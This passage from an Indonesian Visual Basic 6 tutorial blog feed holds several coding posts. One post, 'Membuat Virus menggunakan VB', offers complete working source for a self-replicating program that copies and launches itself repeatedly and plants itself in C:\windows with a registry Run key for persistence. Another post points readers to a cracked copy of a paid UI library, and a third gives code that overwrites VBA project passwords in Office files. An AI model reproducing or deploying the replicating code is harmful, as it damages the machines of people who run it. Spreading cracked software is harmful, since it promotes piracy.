/&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Unload(Cancel As Integer)&lt;br /&gt; If Me.WindowState &lt;&gt; vbMinimized Then&lt;br /&gt;     SaveSetting App.Title, "Settings", "MainLeft", Me.Left&lt;br /&gt;     SaveSetting App.Title, "Settings", "MainTop", Me.Top&lt;br /&gt;     SaveSetting App.Title, "Settings", "MainWidth", Me.Width&lt;br /&gt;     SaveSetting App.Title, "Settings", "MainHeight", Me.Height&lt;br /&gt; End If&lt;br /&gt;End Sub&lt;br /&gt;Selamat mencoba dan berkreasi dengan program program yang lebih kereen...&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-7588251976405226456?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/7588251976405226456/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=7588251976405226456' title='4 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/7588251976405226456'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/7588251976405226456'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/10/membuat-tampilan-vb-tampil-kereeeen.html' title='Membuat tampilan VB tampil kereeeen'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-6895421520395077493</id><published>2008-10-25T10:22:00.004+07:00</published><updated>2008-10-25T10:44:22.493+07:00</updated><title type='text'>Compact Database Acces</title><content type='html'>&lt;div style="text-align: left;"&gt;&lt;span class="tahoma12bold"&gt;&lt;span style="text-decoration: underline;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;compact database ato dalam bahasa mudahnya adalah memadatkan/merampingkan database, itu berfungsi untuk memadatkan size database yang ukurannya tidak efisien apabila kita sering melakukan input data kedalam database tersebut.Nah untuk mengefisienkan penyimpanan kedalam database maka diperlukan compacting database,jangan kuatir compacting database ini tidak membuat data anda hilang ataupun error.Dijamin deh pokoknya...tapi bukan sama penulis loh...Hehehehe...Just kidding...&lt;br /&gt;&lt;br /&gt;Silakan anda mendownload source codenya &lt;a href="http://www.ziddu.com/download/2489124/COMPACT.zip.html"&gt;disini&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Selamat mencoba dan semoga bermanfaat...&lt;br /&gt;&lt;span class="tahoma12bold"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-6895421520395077493?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/6895421520395077493/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=6895421520395077493' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/6895421520395077493'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/6895421520395077493'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/10/compact-database-acces.html' title='Compact Database Acces'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-4941151986224660983</id><published>2008-10-25T09:31:00.008+07:00</published><updated>2008-11-22T11:14:52.167+07:00</updated><title type='text'>Membuat Virus menggunakan VB</title><content type='html'>Ingin tahu gimana membuat virus pakai vb. ikuti tutorial berikut ini:&lt;br /&gt;Virus ini cuman menggandakan dirinya secara berulang – ulang,Kalo dibuka akan mengcopy dirinya 2 kali,terus-menerus,memberi penamaan pada dirinya sesuai nomor yang diacak,dan mendaftarin dirinya ke Register.bisa ditambahin kode-kode lain supaya lebih mantap,seperti block task: manager,msconfig,dsb.Mungkin ini kelihatan biasa aja,aq cuman ingin bagi-bagi ilmu aja,maaf ya.. kalo gak bisa gasih lebih..ini codenya :&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;On Error Resume Next&lt;br /&gt;KopiSusu&lt;br /&gt;DaftarinKeRegister&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Public Function Pengacakan(ByVal Low As Long, ByVal High As Long) As Long&lt;br /&gt;Randomize&lt;br /&gt;Pengacakan = Int((High - Low + 1) * Rnd) + Low&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;Private Sub KopiSusu()&lt;br /&gt;On Error Resume Next&lt;br /&gt;X2 = 0&lt;br /&gt;Do Until X2 = 2&lt;br /&gt;X = Pengacakan(0, 999999999)&lt;br /&gt;FileCopy App.Path &amp;amp; "\" &amp;amp; App.EXEName &amp;amp; ".exe", App.Path &amp;amp; "\" &amp;amp; App.EXEName &amp;amp; X &amp;amp; ".exe"&lt;br /&gt;Shell App.Path &amp;amp; "\" &amp;amp; App.EXEName &amp;amp; X &amp;amp; ".exe"&lt;br /&gt;X2 = X2 + 1&lt;br /&gt;Loop&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub DaftarinKeRegister()&lt;br /&gt;X3 = Pengacakan(0, 999999999)&lt;br /&gt;FileCopy App.Path &amp;amp; "\" &amp;amp; App.EXEName &amp;amp; ".exe", "C:\windows\plaige" &amp;amp; X3 &amp;amp; ".exe"&lt;br /&gt;Dim RegKey&lt;br /&gt;Set RegKey = CreateObject("WScript.Shell")&lt;br /&gt;RegKey.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\plaige", "C:\windows\plaige" &amp;amp; X3 &amp;amp; ".exe"&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Silakan dipelajari semoga bermanfaat tapi alangkah baiknya untuk tidak digunakan yang merugikan orang lain. "Ups...kok jadi ceramah ya.." Hee..he...hee...&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-4941151986224660983?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/4941151986224660983/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=4941151986224660983' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/4941151986224660983'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/4941151986224660983'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/10/membuat-virus-menggunakan-vb.html' title='Membuat Virus menggunakan VB'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-6285190680464232129</id><published>2008-10-25T09:27:00.004+07:00</published><updated>2008-12-12T06:59:38.322+07:00</updated><title type='text'>Membuat Form VB bergaya XP</title><content type='html'>Bagi teman-teman yang mau membuat aplikasi dari visual basic maka teman-teman bisa menggunakan kontrol yang dapat merubah tampilan form dan kontrol-kontrol yang lainnya. salah satunya anda bisa menggunakan OsenXPSuite, anda dapat mendonlotnya di &lt;a href="http://www.osenxpsuite.com/"&gt;www.osenxpsuite.com&lt;/a&gt; yang versi trialnya selama 30 hari, kemudian untuk versi fullnya anda harus membayar $180.&lt;br /&gt;Setelah aku cari di 4shared.com akhirnya saya menemukan osenxpsuite 2006 yang udah ada cracknya. anda dapat mendownloadnya &lt;a href="http://www.ziddu.com/download.php?uid=Z7Obl5aqa6qgl5yns6yZlJyiZa2Wlpmt5"&gt;disini&lt;/a&gt;.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Setelah anda download maka anda akan dapat menggunakannya.&lt;br /&gt;Berikut adalah tamplan setelah menggunakan OsenXPSuite2006&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_6wIN84J7u4w/R-jplWjx7WI/AAAAAAAAAAg/zq19v_15h6s/s1600-h/osen.bmp"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_6wIN84J7u4w/R-jplWjx7WI/AAAAAAAAAAg/zq19v_15h6s/s400/osen.bmp" alt="" id="BLOGGER_PHOTO_ID_5181648199209839970" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Semoga aja dapat membantu teman-teman dalam pembuatan aplkasi yang bagus&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-6285190680464232129?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/6285190680464232129/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=6285190680464232129' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/6285190680464232129'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/6285190680464232129'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/10/membuat-form-vb-bergaya-xp.html' title='Membuat Form VB bergaya XP'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_6wIN84J7u4w/R-jplWjx7WI/AAAAAAAAAAg/zq19v_15h6s/s72-c/osen.bmp' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-3699563802199312510</id><published>2008-10-25T09:21:00.004+07:00</published><updated>2008-11-22T11:17:20.383+07:00</updated><title type='text'>Mebongkar password VBA</title><content type='html'>Setelah sekian lama file ini ga ketemu (Mengapa aku posting ni tulisan karena lebih dari 2 bulan yang lalu aku buat VBA di excell n aku protect dengan password tapi aku lupa tu password hehe maklum pelupa), 1 minggu lalu aku ketemukan akan tetapi akan pindah di hardisk yang salah alias aku pindah di hardisk yang kena badsector jadi ya hilang lagi deh..... Setelah sekian lama aku diamkan tu hardisk sampai 1 minggu maka berhasil juga aku buka tu hardisk, hehe akhirnya aku buatkan juga gimana cara crack atau merubah password pada Microsoft Word maupun Excell yang didalamnya ada VBA yang di password. Ni Tutorial aku dapatkan pada site &lt;a href="http://www.vb-bego.net/"&gt;www.vb-bego.net&lt;/a&gt; pada tahun 2006 yang dibuat oleh Anti Hacker.&lt;br /&gt;Silahkan anda ikuti berikut ini:&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Untuk mencoba source ini jalan apa nggak, coba bikin satu dokumen word atau excel, kemudian tekan ALT+F11 (maksudnya biar masuk ke VBA editorya) nah kalo udah berada pada VBA Editor, coba tambahkan beberapa component object. spt: module, form atau class.&lt;br /&gt;Selanjutnya coba kamu proteksi VBA tersebut dengan cara klik kanan pada Project Explorer, kemudian pilih ...Properties...kemudian pilih TAB Protection.&lt;br /&gt;Coba masukan password apa aja untuk mencobanya. kemudian save.&lt;br /&gt;nah sekarang kita tinggal buat programnya.....hm..m...m.mmm..spt biasa tinggal Copy Paste nih source..., ok deh broo selamat mencoba.&lt;br /&gt;&lt;br /&gt;Siapkan aja Form1 dan Command1 kemudian Copy Pastekan source berikut&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;Option Explicit&lt;br /&gt;'// Header Password Untuk VBA&lt;br /&gt;Const vbbego72 = "E9EB458A628A62759E8B62EFEB0B9567D2F09" &amp;amp; _&lt;br /&gt;                "604067445E7DBDA0C1565BA2023778FEFF9"&lt;br /&gt;Const vbbego74 = "C2C06E8D52AA52AAAD5653AAE9253D286E4EE" &amp;amp; _&lt;br /&gt;                "E66E86F219911B87D7162FD74EEF579FEB513"&lt;br /&gt;Const vbbego76 = "ADAF0155017E1E7E1E81E27F1E1BAF57D1DB8" &amp;amp; _&lt;br /&gt;                "E045A28FA28492BA70640C9B1EEEC57ABBBD325"&lt;br /&gt;Const vbbegoxx = "5654FA3F0641585E585EA7A2595EDCE369B3D" &amp;amp; _&lt;br /&gt;                "FBAB6E0DBB94699F7682AD4B8EF5510B4E293F62A"&lt;br /&gt;&lt;br /&gt;Private Sub Command1_Click()&lt;br /&gt;Dim hFile  As String&lt;br /&gt;Dim inFile As Long, nLoop As Long&lt;br /&gt;Dim Header As String&lt;br /&gt;Dim State  As Boolean&lt;br /&gt;'// Header Key VBA Password&lt;br /&gt;Header = Chr(&amp;amp;HD) &amp;amp; Chr(&amp;amp;HA) &amp;amp; Chr(&amp;amp;H44) &amp;amp; Chr(&amp;amp;H50) &amp;amp; _&lt;br /&gt;        Chr(&amp;amp;H42) &amp;amp; Chr(&amp;amp;H3D) &amp;amp; Chr(&amp;amp;H22)&lt;br /&gt;       &lt;br /&gt;'// Buka File Excel &amp;amp; Word&lt;br /&gt;hFile = GetFile(Hwnd)&lt;br /&gt;If Trim(hFile) &lt;&gt; "" Then&lt;br /&gt;  Dim isiDok As String * 1000&lt;br /&gt;  inFile = FileLen(hFile)&lt;br /&gt;  '// Lakukan pembackupan dokumen sebelum melakukan perubahan&lt;br /&gt;  Dim FileAsli As String&lt;br /&gt;  FileAsli = Dir(hFile &amp;amp; ".bak", vbNormal)&lt;br /&gt;  If FileAsli = "" Then&lt;br /&gt;     FileCopy hFile, hFile &amp;amp; ".bak"&lt;br /&gt;  End If&lt;br /&gt; &lt;br /&gt;  '// Baca Tulis Ke File&lt;br /&gt;  Open hFile For Binary Access Read Write As #1&lt;br /&gt;    '// Lakukan Pengulangan Menurut Ukuran File tsb&lt;br /&gt;    For nLoop = 1 To inFile Step 1000&lt;br /&gt;     '// Ambil Data Sebanyak 1000 Karakter&lt;br /&gt;     Get #1, nLoop, isiDok&lt;br /&gt;     DoEvents&lt;br /&gt;     Dim Pos1 As Long, pos2 As Long, pos3 As Long&lt;br /&gt;    &lt;br /&gt;     '// Periksa Header Key Password&lt;br /&gt;     Pos1 = Instr(1, isiDok, Header, vbBinaryCompare)&lt;br /&gt;     If Pos1 Then&lt;br /&gt;      pos2 = nLoop + Pos1 + Len(Header) - 2&lt;br /&gt;      '// Ambil data pada pointer setelah Header Key&lt;br /&gt;      Get #1, pos2, isiDok&lt;br /&gt;      '// Periksa Isi data yg didapat, apakah terdapat End Key?&lt;br /&gt;      Pos1 = Instr(1, isiDok, Chr(&amp;amp;HD) &amp;amp; Chr(&amp;amp;HA), vbBinaryCompare)&lt;br /&gt;      If Pos1 Then&lt;br /&gt;       '// Hitung panjang password yang terdapat pada file&lt;br /&gt;       pos3 = Len(Replace(Mid(isiDok, 1, Pos1 - 1), Chr(34), ""))&lt;br /&gt;       If pos3 Then&lt;br /&gt;          Select Case pos3&lt;br /&gt;          Case 72&lt;br /&gt;           '// Rubah dengan password baru&lt;br /&gt;           Put #1, pos2 + 1, vbbego72&lt;br /&gt;           MsgBox "Password: vbbego", 64, "www.vbbego.com"&lt;br /&gt;          Case 74&lt;br /&gt;          '// Rubah dengan password baru&lt;br /&gt;           Put #1, pos2 + 1, vbbego74&lt;br /&gt;           MsgBox "Password: vbbego", 64, "www.vbbego.com"&lt;br /&gt;          Case 76&lt;br /&gt;           '// Rubah dengan password baru&lt;br /&gt;           Put #1, pos2 + 1, vbbego76&lt;br /&gt;           MsgBox "Password: vbbego", 64, "www.vbbego.com"&lt;br /&gt;          Case Else&lt;br /&gt;           '// Rubah dengan password baru&lt;br /&gt;           'Put #1, pos2 + 1, vbbegoxx&lt;br /&gt;           MsgBox "Password: komunitasvbbego", 64, "www.vbbego.com"&lt;br /&gt;          End Select&lt;br /&gt;          State = True&lt;br /&gt;         Exit For&lt;br /&gt;       End If '// Pos3&lt;br /&gt;      End If '// Pos1-&gt;2&lt;br /&gt;     End If '// Pos1-&gt;1&lt;br /&gt;     isiDok = ""&lt;br /&gt;   Next nLoop&lt;br /&gt;   Close #1&lt;br /&gt;   If State = False Then MsgBox "Password Tidak Ditemukan", _&lt;br /&gt;                         16, "www.vbbego.com"&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Setelah tu kamu tambahi Module1 kemudian tuliskan code berikut&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;Option Explicit&lt;br /&gt;Private Declare Function GetOpenFileName Lib "comdlg32.dll" Alias _&lt;br /&gt;       "GetOpenFileNameA" (pOpenfilename As OPENFILENAME) As Long&lt;br /&gt;      &lt;br /&gt;Private Type OPENFILENAME&lt;br /&gt;   lStructSize As Long&lt;br /&gt;   hwndOwner As Long&lt;br /&gt;   hInstance As Long&lt;br /&gt;   lpstrFilter As String&lt;br /&gt;   lpstrCustomFilter As String&lt;br /&gt;   nMaxCustFilter As Long&lt;br /&gt;   nFilterIndex As Long&lt;br /&gt;   lpstrFile As String&lt;br /&gt;   nMaxFile As Long&lt;br /&gt;   lpstrFileTitle As String&lt;br /&gt;   nMaxFileTitle As Long&lt;br /&gt;   lpstrInitialDir As String&lt;br /&gt;   lpstrTitle As String&lt;br /&gt;   flags As Long&lt;br /&gt;   nFileOffset As Integer&lt;br /&gt;   nFileExtension As Integer&lt;br /&gt;   lpstrDefExt As String&lt;br /&gt;   lCustData As Long&lt;br /&gt;   lpfnHook As Long&lt;br /&gt;   lpTemplateName As String&lt;br /&gt;End Type&lt;br /&gt;Function GetFile(Hwnd As Long) As String&lt;br /&gt;   Dim OFName As OPENFILENAME&lt;br /&gt;   OFName.lStructSize = Len(OFName)&lt;br /&gt;   OFName.hwndOwner = Hwnd&lt;br /&gt;   OFName.hInstance = App.hInstance&lt;br /&gt;   OFName.lpstrFilter = "Ms Ofice97/XP/2003(*.doc;*.xls)" _&lt;br /&gt;                      + Chr$(0) + "*.doc;*.xls" + Chr$(0) _&lt;br /&gt;                      + "Kabeh File (*.*)" + Chr$(0) + "*.*" + Chr$(0)&lt;br /&gt;   OFName.lpstrFile = Space$(254)&lt;br /&gt;   OFName.nMaxFile = 255&lt;br /&gt;   OFName.lpstrFileTitle = Space$(254)&lt;br /&gt;   OFName.nMaxFileTitle = 255&lt;br /&gt;   OFName.lpstrInitialDir = "C:\"&lt;br /&gt;   OFName.lpstrTitle = "Open File - vbBego Team 2000"&lt;br /&gt;   OFName.flags = 0&lt;br /&gt;   If GetOpenFileName(OFName) Then&lt;br /&gt;       GetFile = Left(OFName.lpstrFile, _&lt;br /&gt;                 InStr(1, OFName.lpstrFile, Chr(0)) - 1)&lt;br /&gt;   Else&lt;br /&gt;       GetFile = ""&lt;br /&gt;   End If&lt;br /&gt;End Function&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Setelah selesaikan tinggal di jalankan deh dengan menekan tombol F5. Klik Aja command1 kememudian cari dokumen yang ada VBA terpassword (jangan lupa ditutup dulu ya dokumennya). Selamat Mencoba&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-3699563802199312510?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/3699563802199312510/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=3699563802199312510' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/3699563802199312510'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/3699563802199312510'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/10/mebongkar-password-vba.html' title='Mebongkar password VBA'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-8217606446786629739</id><published>2008-10-25T09:13:00.004+07:00</published><updated>2008-11-22T11:18:05.244+07:00</updated><title type='text'>Koneksi VB dengan Excell</title><content type='html'>Mungkin anda pernah membuat suatu data dari excell dan anda merasa ga mau meninggal excell untuk pindah ke access, sedangkan anda hanya bisa menggunakan database access untuk diterapkan di Pemrogram pakai Visual basic 6.0. sehingga akan mengconverter data anda dari excell ke access. Gimana kalau nanti mau ke excell lagi wah di convert lagi deh tu data. hehehe enak juga ya tu data di pindah-pindah.&lt;br /&gt;Tapi anda bisa menggunakan database dari data excell data untuk bisa dipanggil melalui Visual Basic sehingga anda tidak usah cari konverter.&lt;br /&gt;Oke langsung aja akan ku tulisan source codenya&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Ini Source codenya&lt;br /&gt;&lt;blockquote&gt;Dim cn As ADODB.Connection&lt;br /&gt;Dim rs As ADODB.Recordset&lt;br /&gt;&lt;br /&gt;Option Explicit&lt;br /&gt;&lt;br /&gt;Private Sub Command1_Click()&lt;br /&gt;  &lt;br /&gt;   Set rs = New ADODB.Recordset&lt;br /&gt;   '--- mengambil data dari member&lt;br /&gt;   rs.Open "SELECT * FROM [Members$] ", cn, adOpenDynamic, adLockOptimistic&lt;br /&gt;  &lt;br /&gt;   Set DataGrid1.DataSource = rs&lt;br /&gt;  &lt;br /&gt;  &lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub Command2_Click()&lt;br /&gt;&lt;br /&gt;   Set rs = New ADODB.Recordset&lt;br /&gt;  &lt;br /&gt;   '--- mengambil data dari excel dari tab salary&lt;br /&gt;   rs.Open "SELECT * FROM [Salary$A1:B2] ", cn, adOpenDynamic, adLockOptimistic&lt;br /&gt;  &lt;br /&gt;   Set DataGrid1.DataSource = rs&lt;br /&gt;  &lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;&lt;br /&gt;On Error GoTo ErrHandler&lt;br /&gt;   Set cn = New ADODB.Connection&lt;br /&gt;  &lt;br /&gt;   ' -- provider koneksi&lt;br /&gt;   cn.Provider = "Microsoft.Jet.OLEDB.4.0"&lt;br /&gt;  &lt;br /&gt;   '--- membuat koneksi file excell&lt;br /&gt;   '---dari Excel 97/2000/2002 atau Excel 8.0&lt;br /&gt;   '--- dari Excel 95 atau Excel 5.0&lt;br /&gt;   cn.ConnectionString = _&lt;br /&gt;       "Data Source= " &amp;amp; App.Path &amp;amp; "/Book1.xls;" &amp;amp; _&lt;br /&gt;       "Extended Properties=Excel 8.0;"&lt;br /&gt;   cn.CursorLocation = adUseClient&lt;br /&gt;   cn.Open&lt;br /&gt;  &lt;br /&gt;Exit Sub&lt;br /&gt;ErrHandler:&lt;br /&gt;   MsgBox "Tidak ada koneksi yang terjadi"&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Command3_Click()&lt;br /&gt;   MsgBox "Contoh Koneksi Database Excell", vbInformation, ""&lt;br /&gt;   End&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;Silahkan aja kamu coba dan dipelajari&lt;br /&gt;&lt;br /&gt;Semoga dapat membantu.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-8217606446786629739?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/8217606446786629739/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=8217606446786629739' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/8217606446786629739'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/8217606446786629739'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/10/koneksi-vb-dengan-excell.html' title='Koneksi VB dengan Excell'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-4024404659914957846</id><published>2008-10-25T08:43:00.015+07:00</published><updated>2008-11-22T11:18:50.614+07:00</updated><title type='text'>Menyimpan gambar kedalam database</title><content type='html'>Untuk melakukan persiapan                    awal, kita buat suatu database. (disini menggunakan Ms.Access                    sebagai bahan contoh):&lt;br /&gt;&lt;br /&gt;Persiapan Awal:&lt;br /&gt;Nama file :                    dbaImage.mdb&lt;br /&gt;Nama Table : Pegawai&lt;br /&gt;Nama field Type Size              &lt;br /&gt;-------------------------&lt;br /&gt;NRP Text 7&lt;br /&gt;Photo                    OleObject&lt;br /&gt;&lt;br /&gt;Setelah selesai melakukan persiapan awal                    kita buat Project Baru dan tambahakan Referency ADODB ke                    project kita. Dengan cara memilih menu Project » References »                    Microsoft ActiveX Data Object 2.1 Library (atau ADODB dengan                    versi yang lebih tinggi).&lt;br /&gt;&lt;br /&gt;Selanjutnya kita buat syntax                    untuk meload Database tersebut&lt;br /&gt;Pada Global Declaration                    kita tambahkan sebuah variable:&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Option Explicit&lt;br /&gt;Dim DB As New                          ADODB.Connection&lt;br /&gt;&lt;br /&gt;'*// Pada form_load tambahkan                          syntax untuk meload databasenya&lt;br /&gt;&lt;br /&gt;Private Sub                          Form_Load()&lt;br /&gt;DB.Open                          "Provider=Microsoft.Jet.OLEDB.4.0;User ID=Admin;" &amp;amp;                          _&lt;br /&gt;       "Data                          Source=C:\dbaImage.mdb"&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;'*//                          Selanjutnya kita buat fungsi untuk mengkonversi gambar                          kedalam _&lt;br /&gt;bentuk data.                    &lt;br /&gt;&lt;br /&gt;Function ConvImage(NamaFile As String, Byref                          ErrRet As Long) As Byte()&lt;br /&gt;On Error GoTo Salah                    &lt;br /&gt;Dim UkuranFile As Long&lt;br /&gt;                       Dim imgData() As Byte&lt;br /&gt;'*//                          mendapatkan besar file yang akan di load dengan fungsi                          FileLen&lt;br /&gt;UkuranFile = FileLen(NamaFile)                    &lt;br /&gt;&lt;br /&gt;'*// Periksa Besar File yang                          di load&lt;br /&gt;If UkuranFile &gt; 0 Then                    &lt;br /&gt; '*// Lakukan ReDim variable                          array sesuai dengan ukuran file yang _&lt;br /&gt;                               diload&lt;br /&gt;                          ReDim imgData(UkuranFile) As Byte&lt;br /&gt;                    &lt;br /&gt; '*// Nah disini                          kita memanipulasi gambar untuk dimasukan ke _&lt;br /&gt;                               database. Sebelumnya                          kita load gambar tsb dari file, _&lt;br /&gt;                               kemudian masukan Byte demi                          Byte ke variable array dengan _&lt;br /&gt;                               metode GET&lt;br /&gt;&lt;br /&gt;                          Open NamaFile For Binary As #1&lt;br /&gt;                               Get #1, , imgData&lt;br /&gt;                          Close #1&lt;br /&gt; '*//                          Setelah berhasil mendapatkan data tsb, kita lakukan _                    &lt;br /&gt;      pemindahan                          data ke fungsi ConvImage&lt;br /&gt;                          ConvImage = imgData&lt;br /&gt;&lt;br /&gt;                          '*// Kemudian beri tanda dgn nilai 0, bahwa tidak                          ada Error&lt;br /&gt; ErrRet = 0&lt;br /&gt;                       Else&lt;br /&gt; '*// Beri tanda,                          bahwa ada Error&lt;br /&gt; ErrRet = 1                    &lt;br /&gt;End If&lt;br /&gt;Exit Function                    &lt;br /&gt;Salah:&lt;br /&gt;'*// Beri tanda, bahwa ada                          Error&lt;br /&gt;ErrRet = Err.Number&lt;br /&gt;End                          Function&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;'*// Selanjutnya Buat Fungsi untuk                          menampilkan gambar&lt;br /&gt;&lt;br /&gt;Function                          TampilImage(imgData() As Byte, Byref ErrRet As Long) _                    &lt;br /&gt;    As Picture&lt;br /&gt;On                          Error GoTo Salah&lt;br /&gt;If UBound(imgData)                          Then '*// Cek besar data &gt; 0&lt;br /&gt;                          Dim hFile As String&lt;br /&gt; '*//                          Periksa apakah file img.tmp ada pada directory C:                    &lt;br /&gt; hFile = Dir("C:\img.tmp",                          vbNormal)&lt;br /&gt; '*// Jika ada, 